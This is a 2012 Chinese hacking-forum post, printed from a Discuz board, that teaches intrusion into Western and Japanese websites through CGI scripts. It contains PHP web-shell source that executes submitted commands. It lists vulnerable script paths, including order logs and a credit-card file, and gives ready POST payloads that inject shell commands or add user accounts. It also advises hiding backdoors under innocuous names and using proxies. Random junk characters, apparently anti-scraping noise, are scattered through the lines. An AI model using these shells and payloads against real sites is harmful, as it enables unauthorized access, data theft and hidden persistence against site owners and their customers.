中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法8 A' R- o% z, m9 i5 [
大家好 我是bboyhip  只是一名菜菜的exploiter; _. K3 i# ~6 |: B5 ?( o
很开心来到贵论坛
# J- o) |1 d# h4 q6 e这里让我感觉 很有技术交流的感觉
  j- f% ?# Y& w9 ]- w我会长长来玩的
6 q) N  z4 j' @4 O前言:
' Q' @: B" M# f! p4 p以下讲解针对欧美日本网站
# m- t* G# P6 c9 Z# h當我們在做滲透分析的時候 方法有很多  b0 G* m; K5 l3 X# L
我门都知道 国外伺服器大多是linux 平台% T5 U" F, ~& t
所以有很多网站程序有6成都会使用cgi 脚本来管理
0 _+ E" _$ s- S2 v& H目录为/cgi-bin/
# C# l" ?3 I# U- m( G
1 ]" A* D4 o( w4 q" }& N3 I' E1 `只是个人在实务上一些经验+ x4 h" M4 z( _, S' e# Y3 ^/ |& [
写的不好 请多多见谅喔 * {# q( N! `9 p) E+ p% m
在这里我简单分为几个部份一定要會的
5 e$ E. ]4 _0 a讲解一下
1 u. ^, u; v. ^3 |% n& P+ |让没有基础的人很容易上手  p+ w+ J1 r0 ~/ X! {- o
) j( P: v% W( ]/ O8 T3 e3 W
以下内容跟帖回复才能看到
; x# e. b/ L, j1 Q* l" l4 a==============================
( h5 [% e: s6 o0 \
4 }7 L7 i, M8 U$ u9 n" M第1部份: 何谓Shell?$ q: a2 t' d) T& p+ ^
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:" E! m( ?& ^- e
A shell is the program which reads user input from the command line and executes actions based upon that input.
  @$ V! _0 F. x3 ]; a* Y$ _$ F意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
( V  e1 y% @( J8 C* K  C! C* w7 h/ q. f# a$ i
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
! q" @( \8 N' w; q要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
; R# S  l- h9 L& ~. [所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
- o/ i6 V' Z2 K7 w9 p8 d
  N+ u4 m0 _  r第2部份: Unix 指令9 B& w  Q5 j1 K' a3 m
以下是一些常见及重要的指令:6 H5 e) x2 N, w  C& O$ M: n, B
pwd: 显示当前目录, 即是後门/程式所在的位置2 v1 R( k9 y6 U; `" _8 q. [8 C
如 /home/www/site.com/cgi-bin/
* C# `7 K5 v& bls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  3 S" I5 v/ H5 D- y" C6 s; F3 y
ls -al :详细列出档案资料(当前目录)
, v3 x3 Y2 Q1 A% hls /: 列出根目录1 E+ B$ r1 N# S- c# v& t6 m
ls /etc: 列出/etc的资料夹及档案
) m) j! s% f8 I% ^0 J$ J# G0 {ls ../ -al: 详细列出上一层的资料夹及档案# f# h; A1 ^$ X" A$ E) }
cat: 显示档案内容
  C0 Y. N: ]/ C. U/ m4 ]) j1 m) Fcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
* V3 `8 Y1 ^* }6 g; n+ }1 tcat /etc/passwd: 显示 /etc/passwd 这个档案的内容) ~3 c0 c- p0 B1 y
who: 显示谁login 至系统' n0 n% Q0 \- M$ C9 }& }
man: 显示指令用法  
$ X, m6 \& J1 ~# V* W0 Uman ls: 显示ls这指令的用法  
: b1 ~  L$ ~( c. M" C5 l5 o5 Qmkdir 建立目录
$ r/ D% \1 I* T8 Rrmdir 删除目录
3 F6 S+ T9 ]% H1 A' s8 vmv 移动档案
  s- @! T/ [9 G# |+ g* S5 Urm 删除档案' w: |+ N% R2 s- P( [' T4 T' B4 p
2 S6 I8 Z1 \. }5 P, \6 u
第3部份: Shell的使用
# L& `) N7 M) K* V, G例如:
2 L5 D4 {, j5 |! ahttp://site.com/refer.php  y  @1 h4 Y7 W( w% b* k
这是我的後门, 原代码如下:
- I5 w$ x; x4 i) |6 F) Y<Form Action="#" Method="POST"> % }: ]* Y) {* [: N" [( g
<Input type="text" name="cmd">
8 A3 \3 `7 O/ O& A/ i' g; F<Input type="Submit"> $ ~0 P  v2 y  N
</Form> 5 e, T% T0 o6 W8 `' s3 C
<?php + ?4 }4 M- Z' t4 `
$cmd = $_POST['cmd'];
8 M8 C  o; s( E1 x/ G5 o5 L$Output = shell_exec($cmd); 9 P5 H2 H7 K0 R' `* `: f5 g
echo $Output;
3 ~0 e% z9 a- U" T?> * H9 m; e, G4 x
输入pwd, 可得到绝对路径:- N) j+ Y9 l7 I5 S5 V
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
2 w5 g! s) |8 z; H1 A, _+ t6 R/ z1 n% E! j# |0 T. H
第4部份: 注意事项
, d# m/ ]* O0 q  k8 \- 使用匿名代理, 保障自己
4 p: Z$ `( \; D6 w  d: }- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动3 j. d% B( s4 |$ {! s
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
( p+ g. x3 j: C6 A; `, z: p- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.# @2 K7 a( i+ c! d! m" @/ |) `
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
# h( a4 F8 G, _, u3 ?8 U不容易被发现.
+ H0 Q- r/ v! \+ W- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
0 O& O3 x' T" N9 c针对网站的渗透分析方法太多了3 f3 h2 e2 M" n! E( {% z
这篇文章的重点是cgi 脚本攻击8 U2 {; a3 C8 o! ^4 x; Z8 F
所以我用简单的叙述形容4 A, a6 w. S$ @- @( D7 k
开始讲解脚本入侵过程:* B8 d" Q" _% W# M. E0 w: Z
在这里提供一些方法思路让大家学习一下5 x# }% U; ?# x0 z; n

" T1 f$ Z% ?7 o/ q1 }; h1 K1.一开始对一个网站进行cgi漏洞扫描
% ^: Z. T3 R1 B  [; B我们需要的东西有
( Q9 u3 T- d0 A扫洞工具 如:triton..等等1 t/ x- L& ^) z# Y
E表8 ^: t6 W# s: r. [

9 x: v6 p6 Q7 Y6 ]/cgi-bin/add-passwd.cgi
* z; J& e: o6 C9 p+ }/WebShop/templates/cc.txt
& _$ c. ]- ~6 T# Q2 {# z6 [8 g/Admin_files/order.log* m8 W0 @' h" _. ^" b6 u
/orders/mountain.cfg2 f' l* |% O. w. J( O/ N$ C0 e; n, D
/cgi-sys/cart.pl0 S* M3 Y% U2 W6 a/ _5 H+ f9 V+ a, T: {
/scripts/cart.pl
# R7 B  ?+ o. w/htbin/cart.pl
# c" m( O3 P1 l+ K8 z9 I' lE表来源可以是网路收寻或是自己的0 day
7 l5 H! N& D! q0 m
' y* ~3 l0 f. e5 t% R+ P2.怎样确认扫到的洞 是真的还假的?: H& ~1 o& G! D2 y. G
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi/ R- n& \* C3 Q5 i& n' n
一般都是在IE里先看一下的,记住这个返回码哦" P! F; k$ X* Q8 `, Q7 o
ERROR:This script should be referenced with a METHOD of POST.
) q6 A/ m" F" @; D5 j没有返回一定是假的
$ T. C6 S. M* S) y4 b3.重来来了 很多人都会问我
" z8 {0 ]1 l3 W3 b+ ~他扫到很多洞 但是不会使用 0 ~2 s# i$ K8 [0 K  d8 r' R# B
因为这些漏洞 使用的语法 称为post
3 N% `  }( e# x' f4 l! O我们要找post 的方法很多
4 l7 n7 O4 M! N7 z& n可以是源代码分析 找出介质/ s% Q9 ~* j, S2 x
或是用抓包工具 抓他的语法...等等
8 a: i8 g" K. N$ c1 b% z- g
  J8 O. p, F2 I5 W) G' N以下我提供10个 cgi 洞以及使用方法post
9 S0 W6 j' G, g: V# u' J. X让大家可以针对网站去做扫描  7 e% p' F1 [5 @( S
/index.cgi
1 I" C3 R  M) L$ _9 s- W" u7 ?  kwei=ren&gen=command& C5 D4 C; s  q0 {, L  Y
/passmaster.cgi
3 ^3 ?2 }& C% b+ _9 z+ AAction=Add&Username=Username&Password=Password
( M; E( p1 l  m% `0 e/accountcreate.cgi
% J4 @! i9 I+ d7 A* B2 `username=username&password=password&ref1=|echo;ls|4 @; \: h5 [0 Y. Z
/form.cgi
8 [: n( t+ U/ ~6 u. _name=xxxx&email=email&subject=xxxx&response=|echo;ls|# _: e" v: F, k, H
/addusr.pl
0 L# O2 C* a( w  h/cgi-bin/EuroDebit/addusr.pl
: N& j  N5 R9 a5 {4 o, G. F8 L2 }" x$ nuser=username&pass=Password&confirm=Password8 D) `( b5 ?, u5 E- e! V. @% j& F
/ccbill-local.asp
& q  i# T. a2 y6 W" q2 Upost_values=username:password  [" |: `+ _; `. f; j& L
/count.cgi2 N& ~: f- t' O( {9 |5 O
pinfile=|echo;ls -la;exit| ) @* I9 N# x6 Q% ?% M
/recon.cgi% k- a/ O% H  i% T- v$ v
/recon.cgi?search5 p: E6 q  P& t& t
searchoption=1&searchfor=|echo;ls -al;exit|* g% _% B( v- Q6 L/ Y' r
/verotelrum.pl
2 x% g- e1 X/ b  svercode=username:password:dseegsow:add:amount<&30>
" R! B( u2 m( r' \; O/af.cgi_browser_out=|echo;ls -la;exit;|
# z8 g& B0 i9 H" l1 _1 h. {' Y! j4 _4 d$ p& z7 _
今天就讲到这  感谢大家支持
9 L7 A  V/ j# l% S( l* C




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2